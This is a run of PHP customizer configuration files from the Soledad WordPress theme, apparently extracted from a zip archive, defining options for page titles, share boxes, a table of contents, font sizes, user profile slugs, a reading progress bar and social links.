	'type'     => 'soledad-fw-toggle',
);
$options[]       = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Page Titles', 'soledad' ),
	'id'       => 'penci_page_hide_ptitle',
	'type'     => 'soledad-fw-toggle',
);
$options[]       = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Uppercase on Page Titles', 'soledad' ),
	'id'       => 'penci_page_title_uppercase',
	'type'     => 'soledad-fw-toggle',
);
$options[]       = array(
	'label'       => '',
	'description' => '',
	'id'          => 'penci_page_title_fsize_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
	'default'     => '18',
);
$options[]       = array(
	'label'    => __( 'Font Size for Page Titles', 'soledad' ),
	'id'       => 'penci_page_title_fsize',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'default'  => '24',
	'ids'      => array(
		'desktop' => 'penci_page_title_fsize',
		'mobile'  => 'penci_page_title_fsize_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'default' => '24',
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
		),
		'mobile'  => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '18',
		),
	),
);
$options[]       = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Share Buttons', 'soledad' ),
	'id'       => 'penci_page_share',
	'type'     => 'soledad-fw-toggle',
);
$share_style     = [];
$share_style[''] = 'Inherit from the Single Post Settings';
for ( $i = 1; $i <= 23; $i ++ ) {
	$v                      = $i < 4 ? 's' : 'n';
	$n                      = $i < 4 ? $i : $i - 3;
	$share_style[ $v . $n ] = 'Style ' . $i;
}
$options[] = array(
	'id'       => 'penci_page_style_cscount',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Share Box Style', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => $share_style,
	'active_callback' => [
		[
			'setting'  => 'penci_page_share',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Social Share Plus Button', 'soledad' ),
	'id'       => 'penci_page_share_disbtnplus',
	'type'     => 'soledad-fw-toggle',
	'active_callback' => [
		[
			'setting'  => 'penci_page_share',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'id'       => 'penci_page_align_cscount',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Share Box Alignment', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''       => __('Default Theme Style','soledad' ),
		'left'   => __('Left','soledad' ),
		'right'  => __('Right','soledad' ),
		'center' => __('Center','soledad' ),
	),
	'active_callback' => [
		[
			'setting'  => 'penci_page_share',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for "Share" Text', 'soledad' ),
	'id'       => 'penci_page_sharetext_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_page_sharetext_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
	'active_callback' => [
		[
			'setting'  => 'penci_page_share',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Social Share Icons', 'soledad' ),
	'id'       => 'penci_page_shareicon_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_page_shareicon_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
	'active_callback' => [
		[
			'setting'  => 'penci_page_share',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Comments', 'soledad' ),
	'id'       => 'penci_page_comments',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Header Transparent', 'soledad' ),
	'id'       => 'penci_header_enable_transparent',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => 'main-sidebar',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Sidebar for Pages', 'soledad' ),
	'id'          => 'penci_sidebar_name_pages',
	'description' => __( 'If sidebar your choice is empty, will display Main Sidebar.', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => get_list_custom_sidebar_option()
);
$options[] = array(
	'default'     => 'main-sidebar-left',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Sidebar Left for Pages', 'soledad' ),
	'id'          => 'penci_sidebar_left_name_pages',
	'description' => __( 'If sidebar your choice is empty, will display Main Sidebar Left. This option just apply when you use 2 sidebars for Pages', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => get_list_custom_sidebar_option()
);

return $options;
PK     N\	g>  >  M  inc/customizer/config/sections/pencidesign_woo_quickview_settings_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Quick View', 'soledad' ),
	'description' => __( 'Enable Quick view option. Ability to see the product information with AJAX.', 'soledad' ),
	'id'          => 'penci_woocommerce_quickview',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show variations information on quick view', 'soledad' ),
	'description' => __( 'Enable Quick show all product summary information for variable products.', 'soledad' ),
	'id'          => 'penci_woocommerce_quickview_variations',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'type'        => 'soledad-fw-size',
	'default'     => '960',
	'sanitize'    => 'absint',
	'label'       => __( 'Quick view width', 'soledad' ),
	'description' => __( 'Set width of the quick view in pixels.', 'soledad' ),
	'id'          => 'penci_woocommerce_quickview_width',
	'ids'         => array(
		'desktop' => 'penci_woocommerce_quickview_width',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '960',
		),
	),
);

return $options;
PK     N\c    <  inc/customizer/config/sections/penci_userprofile_section.phpnu [        <?php
$options = array();
$options[] = array(
	'label'       => esc_html__( 'Permantly Disable User Profile Features', 'soledad' ),
	'id'          => 'penci_disable_all_user_profiles',
	'type'        => 'soledad-fw-toggle',
	'sanitize'    => 'sanitize_text_field'
);
$options[] = array(
	'label'       => esc_html__( 'Disable Default User Profile Pages', 'soledad' ),
	'description' => esc_html__( 'Turn on this option if you want to use user profile pages with third-party plugins (such as WooCommerce, ProfilePress, EDD, ...).', 'soledad' ),
	'id'          => 'penci_disable_user_profiles',
	'type'        => 'soledad-fw-toggle',
	'sanitize'    => 'sanitize_text_field'
);
$options[] = array(
	'id'    => 'penci_frontend_profile_header',
	'type'  => 'soledad-fw-header',
	'label' => esc_html__( 'Page URL Settings', 'soledad' ),
);

$options[] = array(
	'id'          => 'penci_frontend_submit_account_slug',
	'transport'   => 'postMessage',
	'default'     => 'account',
	'type'        => 'soledad-fw-text',
	'label'       => esc_html__( 'Account Page Slug', 'soledad' ),
	'description' => esc_html__( 'Default: ' . home_url( '/' ) . 'account/', 'soledad' ),
);

$options[] = array(
	'id'          => 'penci_frontend_submit_edit_account_slug',
	'transport'   => 'postMessage',
	'default'     => 'edit-account',
	'type'        => 'soledad-fw-text',
	'label'       => esc_html__( 'Edit Account URL Slug', 'soledad' ),
	'description' => esc_html__( 'Default: ' . home_url( '/' ) . 'account/edit-account/', 'soledad' ),
);

$options[] = array(
	'id'          => 'penci_frontend_submit_change_password_slug',
	'transport'   => 'postMessage',
	'default'     => 'change-password',
	'type'        => 'soledad-fw-text',
	'label'       => esc_html__( 'Change Password URL Slug', 'soledad' ),
	'description' => esc_html__( 'Default: ' . home_url( '/' ) . 'account/change-password/', 'soledad' ),
);

$options[] = array(
	'id'          => 'penci_frontend_submit_like_posts_slug',
	'transport'   => 'postMessage',
	'default'     => 'change-password',
	'type'        => 'soledad-fw-text',
	'label'       => esc_html__( 'Change Post Likes URL Slug', 'soledad' ),
	'description' => esc_html__( 'Default: ' . home_url( '/' ) . 'account/like-posts/', 'soledad' ),
);

return $options;PK     N\Nh    H  inc/customizer/config/sections/penci_section_layout_fontsize_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Categories', 'soledad' ),
	'id'       => 'penci_layout_category_fsize',
	'ids'      => array(
		'desktop' => 'penci_layout_category_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description'=>'',
	'id'          => 'penci_layout_titlebig_fsize_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
	'default'     => '18',
);
$options[] = array(
	'label'    => __( 'Font Size for Post Titles on Layouts: Standard, Classic, Overlay & Big Posts', 'soledad' ),
	'id'       => 'penci_layout_titlebig_fsize',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'default'  => '24',
	'ids'      => array(
		'desktop' => 'penci_layout_titlebig_fsize',
		'mobile'  => 'penci_layout_titlebig_fsize_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '24',
		),
		'mobile'  => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '18',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description'=>'',
	'id'          => 'penci_layout_title_fsize_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Post Titles on Other Layouts', 'soledad' ),
	'id'       => 'penci_layout_title_fsize',
	'type'     => 'soledad-fw-size',
	'default'  => '18',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_layout_title_fsize',
		'mobile'  => 'penci_layout_title_fsize_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '18',
		),
		'mobile'  => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '16',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Post Meta', 'soledad' ),
	'id'       => 'penci_layout_meta_fsize',
	'ids'      => array(
		'desktop' => 'penci_layout_meta_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Post Excerpt', 'soledad' ),
	'id'       => 'penci_layout_excerpt_fsize',
	'ids'      => array(
		'desktop' => 'penci_layout_excerpt_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for "Continue Reading"/"Read More" Button', 'soledad' ),
	'id'       => 'penci_layout_readmore_fsize',
	'ids'      => array(
		'desktop' => 'penci_layout_readmore_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Like/Share Icons', 'soledad' ),
	'id'       => 'penci_layout_sharebox_fsize',
	'ids'      => array(
		'desktop' => 'penci_layout_sharebox_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);

return $options;
PK     N\O    L  inc/customizer/config/sections/pencidesign_section_fvideo_colors_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'    => __( 'Heading Text Color', 'soledad' ),
	'id'       => 'penci_featured_video_heading_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'Sub Heading Text Color', 'soledad' ),
	'id'       => 'penci_featured_video_sub_heading_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);

return $options;
PK     N\WH$  H$  B  inc/customizer/config/sections/pencidesign_toc_general_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'       => 'penci_toc_enabled_post_types',
	'default'  => '',
	'sanitize' => 'penci_sanitize_multiple_checkbox',
	'label'    => __( 'Enable Support in Post Types', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'multiple' => 999,
	'choices'  => call_user_func( function () {
		$exclude    = array(
			'attachment',
			'revision',
			'nav_menu_item',
			'safecss',
			'penci-block',
			'penci_builder',
			'custom-post-template',
			'archive-template',
		);
		$registered = get_post_types( [ 'show_in_nav_menus' => true ], 'objects' );
		$types      = array();


		foreach ( $registered as $post ) {

			if ( in_array( $post->name, $exclude ) ) {

				continue;
			}

			$types[ $post->name ] = $post->label;
		}

		return $types;
	} )
);
$options[] = array(
	'id'       => 'penci_toc_position',
	'default'  => 'top',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Insert Table of Contents To', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'top'    => __( 'Before Post Content (Default)', 'soledad' ),
		'bottom' => __( 'After Post Content', 'soledad' ),
		'before' => __( 'Before First Heading', 'soledad' ),
		'after'  => __( 'After First Heading', 'soledad' ),
	]
);
$options[] = array(
	'default'  => 's1',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Table of Contents Style', 'soledad' ),
	'id'       => 'penci_toc_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		's1' => __( 'Default', 'soledad' ),
		's2' => __( 'Shadow', 'soledad' ),
		's3' => __( 'Background', 'soledad' ),
	)
);
$options[] = array(
	'default'  => 'left',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Sticky Position', 'soledad' ),
	'id'       => 'penci_toc_sticky',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'left'                => __( 'Top Left', 'soledad' ),
		'right'               => __( 'Top Right', 'soledad' ),
		'bottom sticky-left'  => __( 'Bottom Left', 'soledad' ),
		'bottom sticky-right' => __( 'Bottom Right', 'soledad' ),
		'disable'             => __( 'Disable', 'soledad' ),
	)
);
$options[] = array(
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Always Sticky?', 'soledad' ),
	'description' => __( 'This option will hide the TOC in the main post content and display it in the sticky position you selected above.', 'soledad' ),
	'id'          => 'penci_toc_asticky',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'absint',
	'type'        => 'soledad-fw-size',
	'label'       => __( 'Width', 'soledad' ),
	'description' => __( 'Enter the custom table of contents width.', 'soledad' ),
	'id'          => 'penci_toc_styles_width',
	'ids'         => array(
		'desktop' => 'penci_toc_styles_width',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'absint',
	'type'        => 'soledad-fw-size',
	'label'       => __( 'Sticky Width', 'soledad' ),
	'description' => __( 'Enter the custom table of contents width when sticky.', 'soledad' ),
	'id'          => 'penci_toc_styles_swidth',
	'ids'         => array(
		'desktop' => 'penci_toc_styles_swidth',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => 'none',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Table of Contents Float', 'soledad' ),
	'id'       => 'penci_toc_wrapping',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'none'  => __( 'None', 'soledad' ),
		'left'  => __( 'Float Left', 'soledad' ),
		'right' => __( 'Float Right', 'soledad' ),
	)
);
$options[] = array(
	'id'          => 'penci_toc_start',
	'default'     => '3',
	'sanitize'    => 'penci_sanitize_number_field',
	'label'       => __( 'Show Table of Contents for Posts has How Many Minimum Heading Tags', 'soledad' ),
	'description' => __( 'By default, the table of contents does not show if the posts has lower than 3 heading tags', 'soledad' ),
	'type'        => 'soledad-fw-number',
);
$options[] = array(
	'id'       => 'penci_toc_heading_text',
	'default'  => 'Table of Contents',
	'sanitize' => 'penci_sanitize_textarea_field',
	'label'    => __( 'Header Label', 'soledad' ),
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'id'          => 'penci_toc_visibility',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Disable Toggle View', 'soledad' ),
	'description' => __( 'Disallow the user to toggle the visibility of the table of contents.', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_toc_visibility_hide_by_default',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Always hide the table of contents', 'soledad' ),
	'description' => __( 'Only display the table heading. Initially hide the table of contents.', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_toc_show_hierarchy',
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show as Hierarchy', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_toc_counter',
	'default'  => 'decimal',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Counter', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'decimal' => __( 'Decimal (default)', 'soledad' ),
		'numeric' => __( 'Numeric', 'soledad' ),
		'roman'   => __( 'Roman', 'soledad' ),
		'none'    => __( 'None', 'soledad' ),
	]
);
$options[] = array(
	'id'       => 'penci_toc_smooth_scroll',
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Smooth Scroll', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'label'    => esc_html__( 'Advanced Settings', 'soledad' ),
	'id'       => 'penci_toc_advanced_head_1',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);
$options[] = array(
	'id'       => 'penci_toc_levels',
	'default'  => 3,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Maximum Level of Table of Contents', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'1' => __( '1', 'soledad' ),
		'2' => __( '2', 'soledad' ),
		'3' => __( '3', 'soledad' ),
		'4' => __( '4', 'soledad' ),
		'5' => __( '5', 'soledad' ),
		'6' => __( '6', 'soledad' ),
	],
);
$options[] = array(
	'id'          => 'penci_toc_prefix',
	'default'     => 'penci',
	'sanitize'    => 'penci_sanitize_text_field',
	'label'       => __( 'Link Anchor Prefix', 'soledad' ),
	'description' => __( 'Please enter a value for this option field. All heading IDs will start with this text. If you leave this field blank, the TOC may not work correctly.', 'soledad' ),
	'type'        => 'soledad-fw-text',
);
$options[] = array(
	'id'       => 'penci_toc_heading_levels',
	'default'  => [ '1', '2', '3', '4', '5', '6' ],
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Headings', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'multiple' => 999,
	'choices'  => [
		'1' => __( 'Heading 1 (h1)', 'soledad' ),
		'2' => __( 'Heading 2 (h2)', 'soledad' ),
		'3' => __( 'Heading 3 (h3)', 'soledad' ),
		'4' => __( 'Heading 4 (h4)', 'soledad' ),
		'5' => __( 'Heading 5 (h5)', 'soledad' ),
		'6' => __( 'Heading 6 (h6)', 'soledad' ),
	],
);

$options[] = array(
	'id'          => 'penci_toc_exclude',
	'sanitize'    => 'penci_sanitize_text_field',
	'label'       => __( 'Exclude Headings', 'soledad' ),
	'description' => __( 'Specify headings to be excluded from appearing in the table of contents. Separate multiple headings with a pipe |. Use an asterisk * as a wildcard to match other text.', 'soledad' ),
	'type'        => 'soledad-fw-text',
);
$options[] = array(
	'id'          => 'penci_toc_smooth_scroll_offset',
	'sanitize'    => 'absint',
	'default'     => '120',
	'label'       => __( 'Smooth Scroll Offset', 'soledad' ),
	'description' => __( 'If you have a consistent menu across the top of your site, you can adjust the top offset to stop the headings from appearing underneath the top menu. A setting of 30 accommodates the WordPress admin bar. This setting only has an effect after you have enabled Smooth Scroll option.', 'soledad' ),
	'type'        => 'soledad-fw-number',
);
$options[] = array(
	'id'          => 'penci_toc_mobile_smooth_scroll_offset',
	'sanitize'    => 'absint',
	'default'     => '90',
	'label'       => __( 'Mobile Smooth Scroll Offset', 'soledad' ),
	'description' => __( 'This provides the same function as the Smooth Scroll Offset option above but applied when the user is visiting your site on a mobile device.', 'soledad' ),
	'type'        => 'soledad-fw-number',
);
$options[] = array(
	'id'       => 'penci_toc_nofollow_link',
	'sanitize' => 'absint',
	'label'    => __( 'Add "no-follow" to table of contents link.', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);

return $options;
PK     N\^}    M  inc/customizer/config/sections/pencidesign_new_section_custom_css_section.phpnu [        <?php
$options   = [];
$options[] = [
	'id'          => 'penci_custom_css',
	'transport'   => 'refresh',
	'type'        => 'soledad-fw-code',
	'code_type'   => 'text/css',
	'label'       => esc_html__( 'Custom CSS', 'soledad' ),
	'input_attrs' => array(
		'aria-describedby' => 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4',
	),
];

return $options;PK     N\n    O  inc/customizer/config/sections/penci_section_spost_reading_progress_section.phpnu [        <?php
$options = [];
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Reading Progress Bar', 'soledad' ),
	'id'       => 'penci_enable_reading_bar',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'label'    => __( 'Reading Progress Bar Position', 'soledad' ),
	'id'       => 'penci_reading_bar_pos',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'default'  => 'footer',
	'choices'  => [
		'header' => __('Top','soledad' ),
		'footer' => __('Bottom','soledad' ),
		'side' 	 => __('Side - Circle','soledad' ),
	]
);
$options[] = array(
	'default'  => '5',
	'sanitize' => 'absint',
	'label'    => __( 'Reading Progress Bar Height', 'soledad' ),
	'id'       => 'penci_reading_bar_h',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_reading_bar_h',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 200,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Progress Bar Color', 'soledad' ),
	'id'       => 'penci_single_progress_color',
);
return $options;PK     N\o "  "  I  inc/customizer/config/sections/pencidesign_new_section_social_section.phpnu [        <?php
$options         = array();
$options[]       = array(
	'default'  => 'https://www.facebook.com/PenciDesign',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Facebook', 'soledad' ),
	'id'       => 'penci_facebook',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => 'https://x.com/PenciDesign',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Twitter (X)', 'soledad' ),
	'id'       => 'penci_twitter',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Instagram', 'soledad' ),
	'id'       => 'penci_instagram',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Pinterest', 'soledad' ),
	'id'       => 'penci_pinterest',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'LinkedIn', 'soledad' ),
	'id'       => 'penci_linkedin',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Flickr', 'soledad' ),
	'id'       => 'penci_flickr',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Behance', 'soledad' ),
	'id'       => 'penci_behance',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Tumblr', 'soledad' ),
	'id'       => 'penci_tumblr',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Youtube', 'soledad' ),
	'id'       => 'penci_youtube',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'label'       => __( 'Email', 'soledad' ),
	'description' => __( 'If you want to click email icon to link to your mail, please fill: mailto:yourmail@hostmail. Change yourmail@hostmail.com to your mail. You also can fill your contact link page here', 'soledad' ),
	'id'          => 'penci_email_me',
	'type'        => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'VK', 'soledad' ),
	'id'       => 'penci_vk',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Bloglovin', 'soledad' ),
	'id'       => 'penci_bloglovin',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Vine', 'soledad' ),
	'id'       => 'penci_vine',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Soundcloud', 'soledad' ),
	'id'       => 'penci_soundcloud',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Snapchat', 'soledad' ),
	'id'       => 'penci_snapchat',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Spotify', 'soledad' ),
	'id'       => 'penci_spotify',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Github', 'soledad' ),
	'id'       => 'penci_github',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Stack Overflow', 'soledad' ),
	'id'       => 'penci_stack',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Twitch', 'soledad' ),
	'id'       => 'penci_twitch',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Steam', 'soledad' ),
	'id'       => 'penci_steam',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Vimeo', 'soledad' ),
	'id'       => 'penci_vimeo',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'XING', 'soledad' ),
	'id'       => 'penci_xing',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Whatsapp', 'soledad' ),
	'id'       => 'penci_whatsapp',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Telegram', 'soledad' ),
	'id'       => 'penci_telegram',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Reddit', 'soledad' ),
	'id'       => 'penci_reddit',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Ok', 'soledad' ),
	'id'       => 'penci_ok',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( '500px', 'soledad' ),
	'id'       => 'penci_500px',
	'type'     => 'soledad-fw-text',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
